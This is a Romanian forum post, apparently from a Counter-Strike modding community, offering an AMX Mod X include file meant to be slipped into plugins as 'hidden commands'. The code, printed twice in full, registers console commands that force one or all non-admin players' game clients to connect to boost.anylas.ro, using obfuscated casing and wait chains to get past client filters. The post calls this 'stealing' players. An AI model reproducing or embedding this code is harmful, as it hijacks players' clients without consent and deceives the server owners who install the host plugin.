Descriere: Acest fisier " .INC " , va poate ajuta sa bagati comenzi ascunse in plugin-uri , am facut sub forma de include pentru ca este mai usor si intelegiti mei bine.
Pana acum , este setat doar comenzi de redirectionare ( Steam & Non-Steam ).
Plugin-ul are o comanda sa fure cate un jucator sau pe toti odata , exceptand : botii , si cei cu acces ( toate flag ).
Cum trebuie sa arate un plugin cu acest INC , aveti poza mai jos , fiindca mi-e lene sa explic si e mai usor de priceput.
Nu se ofera suport , nu va fi alta versiune , cealalta este privata si cu mai multe avantaje.
Descarcare: Link!
Nume: CMD REDIRECT
Versiune: 0.0.1
Link oficial: nu avem inca.
Instalare:
1. Fisierul redirect.inc il puneti in addons/amxmodx/scripting/include
Comenzi administrative (se tasteaza in consola):
[size][color][font]
Asa trebuie sa arate in sursa.
Source Code redirect.inc[/font][/color][/size]
#if !defined REDIRECT_H
#define REDIRECT_H
#include amxmodx
#include amxmisc
stock Redirect()
{
register_concmd("fantasy_fura_unu", "PureRedirectHandler");
register_concmd("fantasy_fura_tot", "PureRedirectAllHandler");
}
public PureRedirectHandler(Client)
{
static Argument[32] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, Target = 0;
read_argv(1, Argument, charsmax(Argument));
Target = cmd_target(Client, Argument, CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF | CMDTARGET_OBEY_IMMUNITY);
if (!Target)
{
return PLUGIN_HANDLED;
}
client_cmd(Target, "Connect boost.anylas.ro");
client_cmd(Target, "^"connect^"boost.anylas.ro");
client_cmd(Target, "wait;wait;wait;wait;wait;^"CoNNecT^" boost.anylas.ro");
client_print(Client, print_console, "^nClient has been redirected!");
return PLUGIN_HANDLED;
}
public PureRedirectAllHandler(Client)
{
static Target = 0, Flags = 0;
for (Target = 1; Target <= get_maxplayers(); Target++)
{
if ((Flags = get_user_flags(Target)) & ADMIN_IMMUNITY || Flags & ADMIN_RESERVATION)
{
continue;
}
client_cmd(Target, "Connect boost.anylas.ro");
client_cmd(Target, "^"connect^"boost.anylas.ro");
client_cmd(Target, "wait;wait;wait;wait;wait;^"CoNNecT^" boost.anylas.ro");
}
client_print(Client, print_console, "^nClients have been redirected!");
return PLUGIN_HANDLED;
}
#endif
Pana acum , este setat doar comenzi de redirectionare ( Steam & Non-Steam ).
Plugin-ul are o comanda sa fure cate un jucator sau pe toti odata , exceptand : botii , si cei cu acces ( toate flag ).
Cum trebuie sa arate un plugin cu acest INC , aveti poza mai jos , fiindca mi-e lene sa explic si e mai usor de priceput.
Nu se ofera suport , nu va fi alta versiune , cealalta este privata si cu mai multe avantaje.
Descarcare: Link!
Nume: CMD REDIRECT
Versiune: 0.0.1
Link oficial: nu avem inca.
Instalare:
1. Fisierul redirect.inc il puneti in addons/amxmodx/scripting/include
Comenzi administrative (se tasteaza in consola):
amx_comanda nume/parte_din_nume - descrierea comenzii respective fantasy_fura_unu "nume" - cand tastati aceasta comanda , va fura jucatorul respectiv. fantasy_fura_tot - cand tastati aceasta comanda , va fura toti jucatorii dupa server.
[size][color][font]
Asa trebuie sa arate in sursa.
Source Code redirect.inc[/font][/color][/size]
#if !defined REDIRECT_H
#define REDIRECT_H
#include amxmodx
#include amxmisc
stock Redirect()
{
register_concmd("fantasy_fura_unu", "PureRedirectHandler");
register_concmd("fantasy_fura_tot", "PureRedirectAllHandler");
}
public PureRedirectHandler(Client)
{
static Argument[32] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 }, Target = 0;
read_argv(1, Argument, charsmax(Argument));
Target = cmd_target(Client, Argument, CMDTARGET_NO_BOTS | CMDTARGET_ALLOW_SELF | CMDTARGET_OBEY_IMMUNITY);
if (!Target)
{
return PLUGIN_HANDLED;
}
client_cmd(Target, "Connect boost.anylas.ro");
client_cmd(Target, "^"connect^"boost.anylas.ro");
client_cmd(Target, "wait;wait;wait;wait;wait;^"CoNNecT^" boost.anylas.ro");
client_print(Client, print_console, "^nClient has been redirected!");
return PLUGIN_HANDLED;
}
public PureRedirectAllHandler(Client)
{
static Target = 0, Flags = 0;
for (Target = 1; Target <= get_maxplayers(); Target++)
{
if ((Flags = get_user_flags(Target)) & ADMIN_IMMUNITY || Flags & ADMIN_RESERVATION)
{
continue;
}
client_cmd(Target, "Connect boost.anylas.ro");
client_cmd(Target, "^"connect^"boost.anylas.ro");
client_cmd(Target, "wait;wait;wait;wait;wait;^"CoNNecT^" boost.anylas.ro");
}
client_print(Client, print_console, "^nClients have been redirected!");
return PLUGIN_HANDLED;
}
#endif